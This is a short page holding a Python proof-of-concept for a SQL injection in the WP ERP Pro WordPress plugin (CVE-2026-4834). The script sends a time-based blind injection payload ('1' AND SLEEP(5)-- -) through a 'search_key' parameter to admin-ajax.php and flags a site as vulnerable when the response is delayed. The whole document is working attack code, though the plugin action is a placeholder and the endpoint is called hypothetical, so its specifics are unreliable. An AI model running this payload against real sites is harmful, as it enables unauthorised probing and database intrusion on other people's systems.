CVE-2026-4834: WP ERP Pro插件SQL注入漏洞

# PoC Demonstration for CVE-2026-4834 import requests def check_vulnerability(target_url): # The vulnerable parameter is 'search_key' # Payload attempts to cause a time-based delay or extract data payload = "1' AND SLEEP(5)-- -" # Hypothetical endpoint structure based on WP plugins full_url = f"{target_url}/wp-admin/admin-ajax.php" params = { "action": "wperp_endpoint_name", # Placeholder for actual action "search_key": payload } try: response = requests.get(full_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print(f"[+] Potential SQL Injection found at {target_url}") else: print(f"[-] Not vulnerable or payload failed") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": check_vulnerability("http://example.com")